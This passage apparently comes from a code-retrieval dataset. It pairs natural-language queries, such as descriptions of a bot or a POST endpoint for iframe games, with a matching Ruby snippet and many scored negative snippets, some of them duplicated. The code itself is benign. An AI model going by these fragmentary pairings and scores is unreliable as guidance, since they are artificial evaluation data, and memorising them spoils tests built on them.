"docid": "be41b1b0f7a3c4f52e3e0f4174c1564f",
"score": "0.51559",
"text": "def to_invoice_class_name\n 'PurchaseInvoice'\n end",
"title": ""
},
{
"docid": "e0a9f24cbcf1f1db05cf413cd9ae94e6",
"score": "0.5155674",
"text": "def payment_type\n :payment\n end",
"title": ""
},
{
"docid": "e0a9f24cbcf1f1db05cf413cd9ae94e6",
"score": "0.5155674",
"text": "def payment_type\n :payment\n end",
"title": ""
},
{
"docid": "f2b2a7f93277285294a4bc3b3a39c339",
"score": "0.51546067",
"text": "def set_inventory_adjustment\n @inventory_adjustment = InventoryAdjustment.find(params[:id])\n end",
"title": ""
},
{
"docid": "6dd83fab9940ce6f0547170a82b0fc9f",
"score": "0.5152204",
"text": "def adjustments_mod_xml(record, params)\n final_adjustments = []\n use_tax_line_items = !params['quickbooks_use_tax_line_items'].nil? &&\n params['quickbooks_use_tax_line_items'] == '1' &&\n !record['tax_line_items'].nil? &&\n !record['tax_line_items'].empty?\n\n adjustments(record).each do |adjustment|\n if !use_tax_line_items ||\n !QBWC::Request::Adjustments.is_adjustment_tax?(adjustment['name'])\n final_adjustments << sales_receipt_line_mod_from_adjustment(adjustment, params)\n end\n end\n\n if use_tax_line_items\n record['tax_line_items'].each do |tax_line_item|\n final_adjustments << sales_receipt_line_mod_from_tax_line_item(tax_line_item, params)\n end\n end\n\n final_adjustments.join('')\n end",
"title": ""
},
{
"docid": "165c99c34e0652bb49c65d79d65fac89",
"score": "0.5141095",
"text": "def calculate_adjustment(checkout)\n @promotion_action.calculate_adjustment(checkout)\n end",
"title": ""
},
{
"docid": "42d8d0743ac83af2dd1105165c7fb78e",
"score": "0.51390284",
"text": "def transaction_name\n @objects[0].transaction_name\n end",
"title": ""
},
{
"docid": "d51f988867d0ed6d74fd7e756f282b65",
"score": "0.5129016",
"text": "def process_ledger_transactions\n ## credit => cash\n ## debit => revenue\n Invoice.process_rma(amount - restocking_fee, order )\n end",
"title": ""
},
{
"docid": "317f5bf053c3e3a98ba3f16330f2a031",
"score": "0.5128662",
"text": "def getLoanAccountHistoryObjName\r\n\t\t return \"loan_account_history__c\"\r\n\t\tend",
"title": ""
},
{
"docid": "f111460d0e4fbc4960e8e203c84c7dc4",
"score": "0.5114739",
"text": "def claim_level_adjustment_amount(ins_eob)\n number_precision(ins_eob.late_filing_charge,:precision => 2)\n end",
"title": ""
},
{
"docid": "084f165b38748a4dd876427afe441c59",
"score": "0.51101726",
"text": "def create_adjustment(amount, direction, source)\n record = case source\n when 'manual' then adjustments.manual || adjustments.build(:source => 'manual')\n when 'promotion' then adjustments.build(:source => 'promotion')\n end\n\n record.adjustment = case direction\n when :up then amount\n when :down then -amount\n end\n\n record\n end",
"title": ""
},
{
"docid": "c83bc6ec4b07325bd78fd66ccab243c7",
"score": "0.51044285",
"text": "def adjustments_mod_xml(record, params)\n final_adjustments = []\n use_tax_line_items = !params['quickbooks_use_tax_line_items'].nil? &&\n params['quickbooks_use_tax_line_items'] == '1' &&\n !record['tax_line_items'].nil? &&\n !record['tax_line_items'].empty?\n\n adjustments(record).each do |adjustment|\n if !use_tax_line_items ||\n !QBWC::Request::Adjustments.is_adjustment_tax?(adjustment['name'])\n final_adjustments << invoice_line_mod_from_adjustment(adjustment, params, record)\n end\n end\n\n if use_tax_line_items\n record['tax_line_items'].each do |tax_line_item|\n final_adjustments << invoice_line_mod_from_tax_line_item(tax_line_item, params, record)\n end\n end\n\n final_adjustments.join('')\n end",
"title": ""
},
{
"docid": "34e6062987017368b3cb4e7f60827c33",
"score": "0.51041377",
"text": "def loan_payment\n self.dig_for_decimal(\"loanPayment\")\n end",
"title": ""
},
{
"docid": "00e2499af9f820f74986b5795f059747",
"score": "0.5102579",
"text": "def update\n get_data\n @adjustment_detail = @adjustment.details.find(params[:id])\n @adjustment_detail.update_attributes(params[:adjustment_detail])\n get_data\n end",
"title": ""
}
] |
f759b6ec8ea016a19c5d679eb481ee33 | The long description of the bot. Can contain HTML and/or Markdown. | [
{
"docid": "302e172cc53a48e04d0d2126e613eb89",
"score": "0.7562774",
"text": "def longdesc\n @data['longdesc']\n end",
"title": ""
}
] | [
{
"docid": "89a3a77e90c29029e4931cd8852f9b34",
"score": "0.81584007",
"text": "def long_description\n text = @command.long_description\n return \"\" if text.nil? # empty description\n\n lines = text.split(\"\\n\")\n lines.map do |line|\n # In the CLI help, we use 2 spaces to designate commands\n # In Markdown we need 4 spaces.\n line.sub(/^ \\b/, ' ')\n end.join(\"\\n\")\n end",
"title": ""
},
{
"docid": "9671032a73b177abbcfefe03cc7fbb49",
"score": "0.79368496",
"text": "def long_desc_markdown\n return desc_markdown if long_description.empty?\n\n <<-EOL\n## Description\n\n#{description}\n\n#{long_description}\nEOL\n end",
"title": ""
},
{
"docid": "e3a9092d64aaead6b841406635fb9359",
"score": "0.7900123",
"text": "def long_description\n \"#{description} (#{xpath})\"\n end",
"title": ""
},
{
"docid": "8dde34c564a66ab770d9d16c4af246d3",
"score": "0.7783111",
"text": "def long_desc(long_description, options = {})\n if options[:for]\n command = find_and_refresh_command(options[:for])\n command.long_description = long_description if long_description\n else\n @long_desc = long_description\n end\n end",
"title": ""
},
{
"docid": "0ffac98126d974bcb178315f69baf110",
"score": "0.77271235",
"text": "def indefinite_long_description\n return \"something\"\n end",
"title": ""
},
{
"docid": "2f501da5753747d275c6f509d86b3156",
"score": "0.7716433",
"text": "def long_description\n @ole.LongDescription\n end",
"title": ""
},
{
"docid": "5b01515324c890288077e392e371f597",
"score": "0.76465213",
"text": "def long_description\n if @model\n return (@long_description || @model.long_description.to_s)\n end\n return @long_description.to_s\n end",
"title": ""
},
{
"docid": "3e45a70ff52550e7c60f50a20513e7bd",
"score": "0.75978637",
"text": "def longdesc\n @obj['longdesc']\n end",
"title": ""
},
{
"docid": "cdddfb108537945a7253ff9ca72a49b8",
"score": "0.75839496",
"text": "def long_description(arg = nil)\n set_or_return(\n :long_description,\n arg,\n kind_of: [ String ]\n )\n end",
"title": ""
},
{
"docid": "6da9c3141b1d45fd3f9e1b227960fe88",
"score": "0.75770724",
"text": "def short_description\n description = \"\"\n paragraphs = body.split(\"\\n\")\n paragraphs.each do |p|\n description << p << \"\\n\"\n break if description.size > SHORT_DESCRIPTION_SIZE\n end\n @@renderer ||= Redcarpet::Markdown.new(Redcarpet::Render::HTML,\n :autolink => true, :space_after_headers => true)\n @@renderer.render(description).html_safe\n end",
"title": ""
},
{
"docid": "34e80b18517d6710505075647e2af0bc",
"score": "0.7389105",
"text": "def description\n meta['description'] || extract_description\n end",
"title": ""
},
{
"docid": "115d8b7737ee5b5ca1fac8ef5224c22e",
"score": "0.7332357",
"text": "def description\n text_get(7, @id)\n end",
"title": ""
},
{
"docid": "8582946e00b20ed9a23de0abe5af8a98",
"score": "0.73292816",
"text": "def full_description\n\t\t\t\"#{@name}\\n\\nYou are in #{@description}\"\n\t\tend",
"title": ""
},
{
"docid": "9298e8e74411b4d7ad043901ba249db5",
"score": "0.7325238",
"text": "def short_description\n description\n end",
"title": ""
},
{
"docid": "e8af80faaf59e9f308bb9bf44a3ba3b5",
"score": "0.7312501",
"text": "def description\n desc = object.description.to_s\n desc = h.strip_tags(markdown.render(desc)).strip # Escape HTML and remove Markdown\n\n if desc.blank? or [\"[!\", \"[](\", \"===\", \"```\"].any? { |s| desc.include? s }\n \"<em>#{ DESCRIPTION_UNAVAILABLE }</em>\".html_safe\n else\n desc = \"#{ desc }.\" if /\\w/ =~ desc.last # Add trailing dot\n desc[0] = desc[0].upcase # Capitalize 1st letter\n desc.html_safe\n end\n end",
"title": ""
},
{
"docid": "80006988df1450dd5cca7876c09ae16e",
"score": "0.72983664",
"text": "def short_description\n if self.description.nil?\n nil\n else\n self.description[%r{^[^\\n\\r]*}]\n end\n end",
"title": ""
},
{
"docid": "1bb7d7b7513dcc405a6580711b72f4ed",
"score": "0.7294924",
"text": "def short_description\n\t\tself.description[0..200] + '...'\n\tend",
"title": ""
},
{
"docid": "af2b3dc0742a738663e3c8935ceb9f79",
"score": "0.7283904",
"text": "def description\n res = (@package.short_description ? @package.short_description : \"Description not available\") + \"\\n\"\n return res unless @package.long_description\n @package.long_description.each_line do |line|\n if line.strip.empty?\n res << \" .\\n\"\n else\n res << \" #{line}\"\n end\n end\n res.strip\n end",
"title": ""
},
{
"docid": "4d9666b8d321e4feac9daf66635d0ee8",
"score": "0.7195938",
"text": "def long_desc\n return @name << \", \" << @desc << \", has the following inventory: \" << @inv.item_list\n end",
"title": ""
},
{
"docid": "3a458e384b61991467be0ac5fb1ce7b2",
"score": "0.7146649",
"text": "def get_full_description( use_HTML = true )\n d = (use_HTML && self.is_done? ? '<s>' : '') +\n self.get_verb_description() +\n (use_HTML ? '<b> ' : ' ') +\n self.get_full_name +\n (use_HTML ? '</b> ' : ' ') +\n (self.notes.blank? ? '' : self.notes) +\n (use_HTML && self.is_done? ? '</s>' : '')\n d\n end",
"title": ""
},
{
"docid": "ed1f8a87f884d83353f5e399cac1ac39",
"score": "0.7118249",
"text": "def description_html\n markdown = Redcarpet::Markdown.new(Redcarpet::Render::HTML, :no_links => true, :hard_wrap => true)\n markdown.render(description).html_safe\n end",
"title": ""
},
{
"docid": "ed1f8a87f884d83353f5e399cac1ac39",
"score": "0.7118249",
"text": "def description_html\n markdown = Redcarpet::Markdown.new(Redcarpet::Render::HTML, :no_links => true, :hard_wrap => true)\n markdown.render(description).html_safe\n end",
"title": ""
},
{
"docid": "4415f876996e22c0747835949011e4b6",
"score": "0.71069854",
"text": "def resolve_long_description(target)\n if can_see?(target)\n return target.long_description\n else\n return target.indefinite_long_description\n end\n end",
"title": ""
},
{
"docid": "7b9990fc1f3f26776926d315ea4ac905",
"score": "0.7103253",
"text": "def descr_short\n descr = self[:descr].to_s.gsub(\"\\n\", \" \").gsub(/\\s{2,}/, \" \")\n descr = Knj::Strings.shorten(descr, 20)\n #descr = \"[#{_(\"no description\")}]\" if descr.to_s.strip.length <= 0\n return descr\n end",
"title": ""
},
{
"docid": "c8601a10fee2ffd074bb8683b96015b3",
"score": "0.709778",
"text": "def content_based_description\n first_long_paragraph = parsed_search('//p[string-length() >= 120]').first\n first_long_paragraph ? first_long_paragraph.text : ''\n end",
"title": ""
},
{
"docid": "f7237ed5b8ac51532d1f0a15e2cd4e07",
"score": "0.70877105",
"text": "def description_html\n Redcarpet::Markdown.new(Redcarpet::Render::HTML).render(description)\n end",
"title": ""
},
{
"docid": "0ed43d14fefe97d02e3326ac4acc3661",
"score": "0.70815444",
"text": "def description\n metadata[:description]\n end",
"title": ""
},
{
"docid": "a81061b2de315344fee2d4a40a32c259",
"score": "0.7054712",
"text": "def description\n info[\"Description\"]\n end",
"title": ""
},
{
"docid": "3665e0da2d1a50c849b750e41ea593f9",
"score": "0.7054217",
"text": "def long_description(value)\n @ole.LongDescription = value\n nil\n end",
"title": ""
},
{
"docid": "60af33366fc609b01714e739c2717f5c",
"score": "0.7049985",
"text": "def full_description\n \"#{self.class.description} #{self.description}\"\n end",
"title": ""
},
{
"docid": "d888aedf79827395748425aaaf8b189a",
"score": "0.7034757",
"text": "def description; @text; end",
"title": ""
},
{
"docid": "fe9b032149b34c17bf273b295ac76f10",
"score": "0.7034115",
"text": "def program_long_desc(desc)\n abstract!\n end",
"title": ""
},
{
"docid": "ec0fdc465404afe1b12c73c427c9473d",
"score": "0.70087546",
"text": "def description()\n @description.nil? ? raw_description : @description\n end",
"title": ""
},
{
"docid": "2869d5f4d0d79c27da4a8eb80c27c0f1",
"score": "0.69915503",
"text": "def description\n data[:description]\n end",
"title": ""
},
{
"docid": "2869d5f4d0d79c27da4a8eb80c27c0f1",
"score": "0.69915503",
"text": "def description\n data[:description]\n end",
"title": ""
},
{
"docid": "a2e8bd6ad0e5ecbc7a22e5ebeba9c62c",
"score": "0.6983305",
"text": "def description\n self[:message]\n end",
"title": ""
},
{
"docid": "9456a90a5a3e55d83363f12c6909499a",
"score": "0.69793266",
"text": "def long_desc\n desc = \"\" << super << \"\\r\\n#{self.pronoun.capitalize} is holding \"\n desc << @inventory.show << \".\\r\\n\" << @equipment.show(self)\n\n return desc\n end",
"title": ""
},
{
"docid": "e072fcf6cf2056ce36aa711c289dd9ff",
"score": "0.69758564",
"text": "def detailed_description\n \"#{parent.detailed_description} #{description}\".strip\n end",
"title": ""
},
{
"docid": "2362dd44bc549c475e5d1cba9f60e7ab",
"score": "0.6963541",
"text": "def page_meta_description\n \"To encourage an atmosphere of responsibility and transparency, while creating the most positive social network experience, Ello has created this bill of rights for all social network users.\"\n end",
"title": ""
},
{
"docid": "fa9ceab2453d8059c4bfd3a7d2cfe88a",
"score": "0.69614714",
"text": "def description(text)\n content_for(:description) { text }\n end",
"title": ""
},
{
"docid": "fa9ceab2453d8059c4bfd3a7d2cfe88a",
"score": "0.6960808",
"text": "def description(text)\n content_for(:description) { text }\n end",
"title": ""
},
{
"docid": "349ccade8eead403c2e3c816b89239a6",
"score": "0.6956434",
"text": "def description\n response_json = @client.api_get_request('', 'tree=description')\n response_json['description']\n end",
"title": ""
},
{
"docid": "3201730c496b9a911d4e37175794cad9",
"score": "0.6950429",
"text": "def short_description(description)\n if description != nil\n \"#{description[0..25]}...\"\n else\n \"No description yet...\"\n end\n end",
"title": ""
},
{
"docid": "e2146d524fa788e7847107ccd2a944c2",
"score": "0.6938365",
"text": "def html_description\n if long_description.nil?\n paragraphs = []\n else\n paragraphs = long_description.delete(\"\\r\").gsub(\"\\n\\n\", \"\\n\").split(\"\\n\")\n end\n\n str = paragraphs.map { |x| \"<p>#{x}</p>\" }.join\n\n str += \"\\n<!--product-details-->\\n\"\n bullets = []\n\n (1..10).each do |x|\n point = get_property(\"Bullet #{x}\")\n bullets << point unless point.blank?\n end\n\n if bullets.length > 0\n str += \"<ul>\"\n str += bullets.map { |x| \"<li>#{x}</li>\" }.join\n str += \"</ul>\"\n end\n\n str += \"\\n<!--sizing-->\\n\"\n str += get_property(\"Sizing Info\")\n\n str += \"\\n<!--care-instructions-->\\n\"\n str += \"<p>\" + get_property(\"Care Instructions\") + \"</p>\"\n end",
"title": ""
},
{
"docid": "eda870a599c52c074dc38e9eccf0a163",
"score": "0.6934122",
"text": "def description\n ensure_full_data!\n @gapi[\"description\"]\n end",
"title": ""
},
{
"docid": "379f827e220f16c019d38c221aac9482",
"score": "0.6927685",
"text": "def description\n data['description']\n end",
"title": ""
},
{
"docid": "5b77c719a97be3d75c1a82b5094a6d59",
"score": "0.6920301",
"text": "def description\n return @description\n end",
"title": ""
},
{
"docid": "5779c84519cd62e5950842806231600a",
"score": "0.68919563",
"text": "def long_description_for_user(user)\n return long_description_for_teacher if user && user.portal_teacher && long_description_for_teacher.present?\n return long_description if long_description.present?\n short_description\n end",
"title": ""
},
{
"docid": "ea2bbb8a30a1d3e414fa4fc2f575df35",
"score": "0.68901974",
"text": "def description\n text_attribute('description')\n end",
"title": ""
},
{
"docid": "a1be14ff5686be0a7700061c8c6b7884",
"score": "0.68848574",
"text": "def formated_description_for(game)\n return \"\" if game.nil?\n formated_body(description_for(game))\n end",
"title": ""
},
{
"docid": "f87ce79839f725b324eda1d18c901c83",
"score": "0.6859027",
"text": "def description\n return @description\n end",
"title": ""
},
{
"docid": "f87ce79839f725b324eda1d18c901c83",
"score": "0.6859027",
"text": "def description\n return @description\n end",
"title": ""
},
{
"docid": "f87ce79839f725b324eda1d18c901c83",
"score": "0.6859027",
"text": "def description\n return @description\n end",
"title": ""
},
{
"docid": "f87ce79839f725b324eda1d18c901c83",
"score": "0.6859027",
"text": "def description\n return @description\n end",
"title": ""
},
{
"docid": "f87ce79839f725b324eda1d18c901c83",
"score": "0.6859027",
"text": "def description\n return @description\n end",
"title": ""
},
{
"docid": "f87ce79839f725b324eda1d18c901c83",
"score": "0.6859027",
"text": "def description\n return @description\n end",
"title": ""
},
{
"docid": "f87ce79839f725b324eda1d18c901c83",
"score": "0.6859027",
"text": "def description\n return @description\n end",
"title": ""
},
{
"docid": "f87ce79839f725b324eda1d18c901c83",
"score": "0.6859027",
"text": "def description\n return @description\n end",
"title": ""
},
{
"docid": "f87ce79839f725b324eda1d18c901c83",
"score": "0.6859027",
"text": "def description\n return @description\n end",
"title": ""
},
{
"docid": "f87ce79839f725b324eda1d18c901c83",
"score": "0.6859027",
"text": "def description\n return @description\n end",
"title": ""
},
{
"docid": "f87ce79839f725b324eda1d18c901c83",
"score": "0.6859027",
"text": "def description\n return @description\n end",
"title": ""
},
{
"docid": "f87ce79839f725b324eda1d18c901c83",
"score": "0.6859027",
"text": "def description\n return @description\n end",
"title": ""
},
{
"docid": "f87ce79839f725b324eda1d18c901c83",
"score": "0.6859027",
"text": "def description\n return @description\n end",
"title": ""
},
{
"docid": "f87ce79839f725b324eda1d18c901c83",
"score": "0.6859027",
"text": "def description\n return @description\n end",
"title": ""
},
{
"docid": "f87ce79839f725b324eda1d18c901c83",
"score": "0.6859027",
"text": "def description\n return @description\n end",
"title": ""
},
{
"docid": "f87ce79839f725b324eda1d18c901c83",
"score": "0.6859027",
"text": "def description\n return @description\n end",
"title": ""
},
{
"docid": "f87ce79839f725b324eda1d18c901c83",
"score": "0.6859027",
"text": "def description\n return @description\n end",
"title": ""
},
{
"docid": "f87ce79839f725b324eda1d18c901c83",
"score": "0.6859027",
"text": "def description\n return @description\n end",
"title": ""
},
{
"docid": "f87ce79839f725b324eda1d18c901c83",
"score": "0.6859027",
"text": "def description\n return @description\n end",
"title": ""
},
{
"docid": "f87ce79839f725b324eda1d18c901c83",
"score": "0.6859027",
"text": "def description\n return @description\n end",
"title": ""
},
{
"docid": "f87ce79839f725b324eda1d18c901c83",
"score": "0.6859027",
"text": "def description\n return @description\n end",
"title": ""
},
{
"docid": "f87ce79839f725b324eda1d18c901c83",
"score": "0.6859027",
"text": "def description\n return @description\n end",
"title": ""
},
{
"docid": "f87ce79839f725b324eda1d18c901c83",
"score": "0.6859027",
"text": "def description\n return @description\n end",
"title": ""
},
{
"docid": "f87ce79839f725b324eda1d18c901c83",
"score": "0.6859027",
"text": "def description\n return @description\n end",
"title": ""
},
{
"docid": "f87ce79839f725b324eda1d18c901c83",
"score": "0.6859027",
"text": "def description\n return @description\n end",
"title": ""
},
{
"docid": "f87ce79839f725b324eda1d18c901c83",
"score": "0.6859027",
"text": "def description\n return @description\n end",
"title": ""
},
{
"docid": "f87ce79839f725b324eda1d18c901c83",
"score": "0.6859027",
"text": "def description\n return @description\n end",
"title": ""
},
{
"docid": "7704bc797f88cef2f1f3f406f918ea3a",
"score": "0.68566513",
"text": "def description\n <<~EOS\n Curator's note:\n\n #{researcher_note}\n\n Original commit message:\n\n #{commit.description}\n\n EOS\n end",
"title": ""
},
{
"docid": "e5000978dc580823c30b31b44649034c",
"score": "0.68521744",
"text": "def description\n [basic_description, extra_description].compact.join(\" \")\n end",
"title": ""
},
{
"docid": "48932745a3ff5f04aae3bd7fdb2ab77d",
"score": "0.68519807",
"text": "def description\n\t\t\t@data[\"description\"]\n\t\tend",
"title": ""
},
{
"docid": "510418bf8b1e002e3e7871f195ebcfa9",
"score": "0.6850303",
"text": "def description_text\n\t\t\tif @data[\"description\"] \n\t\t\t\thtml_data = @data[\"description\"][\"text\"] \n\t\t\t\tparsed_data = Nokogiri::HTML(html_data)\n\t\t\t\tparsed_data.text\n\t\t\tend\n\t\tend",
"title": ""
},
{
"docid": "88585cd6944aff132188345d18f4b6a7",
"score": "0.6844612",
"text": "def description\n @data['description']\n end",
"title": ""
},
{
"docid": "f84df4f29cc4a696758292420203867a",
"score": "0.6844184",
"text": "def extract_description\n\t\tparts = self.readme&.parts or return nil\n\t\tdesc_para = parts.find {|part| part.is_a?(RDoc::Markup::Paragraph) }&.text or return nil\n\t\tformatter = RDoc::Markup::ToHtml.new( RDoc::Options.new )\n\t\thtml = formatter.convert( desc_para )\n\n\t\treturn html.gsub( /<.*?>/, '' ).strip\n\tend",
"title": ""
},
{
"docid": "e415323ea4dffb5ee4706b4907f782ff",
"score": "0.68388534",
"text": "def description\n\n return @description\n\n end",
"title": ""
},
{
"docid": "b2f7d4c83e8db5f80aa42a788bd53769",
"score": "0.6836431",
"text": "def get_description (launch_permission)\n \n d = begin\n\n launch_permission.get_description || \"no description found\"\n\n rescue Exception => e\n\n \"(#{e.to_s})\"\n end\n\n d = \"#{d[0, MAX_DESC_LENGTH]}...\" if d.length > MAX_DESC_LENGTH\n\n h(d)\n end",
"title": ""
},
{
"docid": "a41ed5cd7985bff5c35702d231433830",
"score": "0.68353593",
"text": "def description\n parsed {\n @description\n }\n end",
"title": ""
},
{
"docid": "97ce50f0b3be8097f3cca827ca2e4bb4",
"score": "0.68240327",
"text": "def description\r\n\t\t\t`#{BITS::BITSADMIN} /getdescription {#{@id}}`\r\n\t\tend",
"title": ""
},
{
"docid": "886d09a53170d9cdca743b3ff42747ab",
"score": "0.68162686",
"text": "def short_description\n object.description[0..40] if object.description.present?\n end",
"title": ""
},
{
"docid": "535cda56f7679e4b86d6c37191bacdd9",
"score": "0.681483",
"text": "def description_markdown\n markdown = Redcarpet::Markdown.new(Redcarpet::Render::HTML, autolink: true, space_after_headers: true)\n markdown.render(description).html_safe\n end",
"title": ""
},
{
"docid": "cf45dd4ca62e7eac0581d089f38d3297",
"score": "0.67966497",
"text": "def description\n\t # if the description exists\n\t # return it \n\t # else \n\t # scrape to get the description\n\t # return it\n\t # end\n\tend",
"title": ""
},
{
"docid": "fe8b915f0221fd1bb8c88cd6c6ce495a",
"score": "0.6796425",
"text": "def get_description\n @description\n end",
"title": ""
},
{
"docid": "0dd5483b1da8100a509f51040a5b64e5",
"score": "0.6790918",
"text": "def description\n @description ||= begin\n readme = File.read( path( 'README.txt' ) )\n md = readme.match( /== DESCRIPTION:(.+?)\\n== /m ) or\n fail( \"can't find a description section in README.txt\" )\n md[1].strip\n end\n end",
"title": ""
},
{
"docid": "4be2744b0ded2fecb86c7b77d7e336d3",
"score": "0.6785664",
"text": "def indefinite_short_description\n return \"something\"\n end",
"title": ""
},
{
"docid": "6131936bf0a796e72e4f34a81c1ed701",
"score": "0.67771274",
"text": "def page_description\n if content_for?(:description)\n \"#{yield_content(:description)}\"\n else\n \"Capra is a design agency based in Ottawa, Canada run by husband and wife team Ollie and Kat Kavanagh. Our focus is great design. We love interactive work like websites, games and apps because we get involved in building what we design.\"\n end\n end",
"title": ""
},
{
"docid": "90a34cf7f9abe4514d85d378e0556713",
"score": "0.6766418",
"text": "def meta_description\n read_attribute(:meta_description).blank? ? self.intro[0, 255] : read_attribute(:meta_description)\n end",
"title": ""
},
{
"docid": "707c588fdba17bf75d431e978d5e67ae",
"score": "0.6766255",
"text": "def description\n end",
"title": ""
},
{
"docid": "707c588fdba17bf75d431e978d5e67ae",
"score": "0.6766255",
"text": "def description\n end",
"title": ""
},
{
"docid": "531e99b234578ed18b20ca3a8ad99427",
"score": "0.6766031",
"text": "def get_description\n return @m_description\n end",
"title": ""
},
{
"docid": "531e99b234578ed18b20ca3a8ad99427",
"score": "0.6766031",
"text": "def get_description\n return @m_description\n end",
"title": ""
},
{
"docid": "7f2e34ced6d507fb12d5f954f406e579",
"score": "0.6765752",
"text": "def description\n data['Description']\n end",
"title": ""
}
] |
56e2d59c15ac955985713fe30245a32c | POST /iframe_games POST /iframe_games.json | [
{
"docid": "0ca12e33c37f5b773cc3377b9d91585e",
"score": "0.74608123",
"text": "def create\n @iframe_game = IframeGame.new(iframe_game_params)\n\n respond_to do |format|\n if @iframe_game.save\n format.html { redirect_to @iframe_game, notice: 'Iframe game was successfully created.' }\n format.json { render :show, status: :created, location: @iframe_game }\n else\n format.html { render :new }\n format.json { render json: @iframe_game.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] | [
{
"docid": "4d908b312800186ab16b41c9aab0b3fd",
"score": "0.6757502",
"text": "def iframe_game_params\n params.require(:iframe_game).permit(:link, :title)\n end",
"title": ""
},
{
"docid": "5cda7d69dd420e6014b563b98376e1f4",
"score": "0.6531663",
"text": "def index\n @iframe_games = IframeGame.all\n end",
"title": ""
},
{
"docid": "643d073094feaee606374cfbe52650c4",
"score": "0.65278727",
"text": "def add_game\n HTTParty.post(\"http://localhost:9292/games/\", body: {name: @name, geekId: @geekId, image: @image, scrape_date: @scrape_date, weight: @weight, playtime: @playtime, description: @description, designer: @designer})\n # puts \"#{@name}, #{@boardgamemechanic}, #{@boardgamecategory}\"\n end",
"title": ""
},
{
"docid": "e82700af54374d550ea843223b8728b9",
"score": "0.6437994",
"text": "def newgame\n @game.new_game\n @game.replace\n render json: @game\n end",
"title": ""
},
{
"docid": "8fbff5723e06288bc8c848ff808b08e8",
"score": "0.6427397",
"text": "def create\n @game = Game.create!(player_ids: player_ids)\n render json: { payload: @game, meta: @game.id }\n end",
"title": ""
},
{
"docid": "d5b4386b3fd7c5319e638e8b8ec7bc12",
"score": "0.64094585",
"text": "def new\n url = URI.parse(\"#{server_url}/game?player_id=#{current_user.id}\")\n req = Net::HTTP::Post.new(url.to_s)\n\n res = Net::HTTP.start(url.host, url.port) do |http|\n http.request(req)\n end \n\n json = JSON.parse(res.body)\n\n if json[\"status\"] == \"success\"\n game_id = json[\"data\"][\"game_id\"]\n session[:side] = \"x\"\n redirect_to \"/games/#{game_id}\"\n else\n flash[:error] = \"Error creating game: #{json[\"message\"]}\"\n redirect_to :back\n end\n end",
"title": ""
},
{
"docid": "eab6433e76658c29da5820920b346c85",
"score": "0.64020574",
"text": "def create\n @game = Game.new(game_params)\n @game.save!\n render json: @game, status: :created\n end",
"title": ""
},
{
"docid": "577a08cf11788b538b5f888555cba5b9",
"score": "0.63989925",
"text": "def create\n @game = Game.create(game_params)\n render json: @game, status: 201\n end",
"title": ""
},
{
"docid": "69939663c026d4460fccc4e012608841",
"score": "0.6323842",
"text": "def create\n @player_games = PlayerGame.update(permit_player_game_params[\"away_team_player_games\"].keys, permit_player_game_params[\"away_team_player_games\"].values)\n\n respond_to do |format|\n if @player_games\n format.html { redirect_to game_path(@player_games.first.game_id), notice: 'Player stats were successfully created.' }\n format.json { render :show, status: :created, location: @game }\n else\n format.html { redirect_to games_path, notice: 'Game was unable to be created.' }\n format.json { render json: @player_games.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d3e897693eb719c1ac3e1ee560b38998",
"score": "0.62774926",
"text": "def create\n game = Game.create(game_params)\n render json: game, status: 201\n end",
"title": ""
},
{
"docid": "c25a0ce118b85ccd622806210483c49b",
"score": "0.6261096",
"text": "def set_iframe_game\n @iframe_game = IframeGame.find(params[:id])\n end",
"title": ""
},
{
"docid": "34f2a4d7bd82d4e02226a85ca93b4e1d",
"score": "0.62263125",
"text": "def create\n @iframe = Iframe.new(iframe_params)\n\n respond_to do |format|\n if @iframe.save\n format.html { redirect_to @iframe, notice: 'Iframe was successfully created.' }\n format.json { render :show, status: :created, location: @iframe }\n else\n format.html { render :new }\n format.json { render json: @iframe.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6a961537e537c6d8528fab54b4481b69",
"score": "0.6224546",
"text": "def create\n appids = params[:appids].split(',')\n games = appids.collect {|appid| Game.get_by_app_id(appid.to_s, @fb_token)}.compact\n fb_user.games = games\n render :text=>'success'\n end",
"title": ""
},
{
"docid": "c9db38470b2de32f00acce81011d11ef",
"score": "0.61895794",
"text": "def game_params\n params.require(:game).permit(:title, :content, :cover, :background, :date, :mature, :status, platform_ids: [])\n end",
"title": ""
},
{
"docid": "13c995123ea21bc90d1fcb5b062841b8",
"score": "0.6188591",
"text": "def create\n game = Game.create(game_params)\n render json: game \n end",
"title": ""
},
{
"docid": "13931e9d8dff36c602080718d7b60b6d",
"score": "0.61819416",
"text": "def update\n respond_to do |format|\n if @iframe_game.update(iframe_game_params)\n format.html { redirect_to @iframe_game, notice: 'Iframe game was successfully updated.' }\n format.json { render :show, status: :ok, location: @iframe_game }\n else\n format.html { render :edit }\n format.json { render json: @iframe_game.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "88d6c71ad256ce9a7d0c48c7ea8d8e9f",
"score": "0.61589044",
"text": "def create\n @game = Game.new(game_params)\n\n if @game.save\n render json: @game, status: :created, location: @game\n else\n render json: @game.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "49bc2d210879e6bf6ca421550cd01372",
"score": "0.61585337",
"text": "def create\n @games = Game.all\n @game = Game.new(params[:game])\n @teams = Team.all\n @players = Player.all\n\n respond_to do |format|\n if @game.save\n format.html { redirect_to @game, notice: 'game was successfully created.' }\n format.json { render json: @game, status: :created, location: @game }\n else\n format.html { render action: \"index\" }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "96350fdcf0672fe6d110d3fb1c39c12b",
"score": "0.6121601",
"text": "def create\n\n playedGame = PlayedGame.create(played_games_params)\n if playedGame.valid?\n render json: { playedGame: playedGame }\n else\n render json: { errors: playedGame.errors}\n end\n\n end",
"title": ""
},
{
"docid": "08ef961f5635142f6a57373c0e45e96c",
"score": "0.6112215",
"text": "def new\n @game = current_match.games.create\n reset_game\n\n respond_to do |format|\n format.html { redirect_to new_game_guess_url(@game)}\n format.json { render json: @game }\n end\n end",
"title": ""
},
{
"docid": "3388f4bc0c6a184213b9bdb409ba2499",
"score": "0.61121964",
"text": "def new_game\n uri = URI(\"#{SERVER_ADDRESS}/new_game\")\n response = Net::HTTP.get(uri)\n\n game_id = JSON.parse(response)[\"game_id\"]\n end",
"title": ""
},
{
"docid": "d412c214ce50f6f018baf2cb4c6af0d8",
"score": "0.6111102",
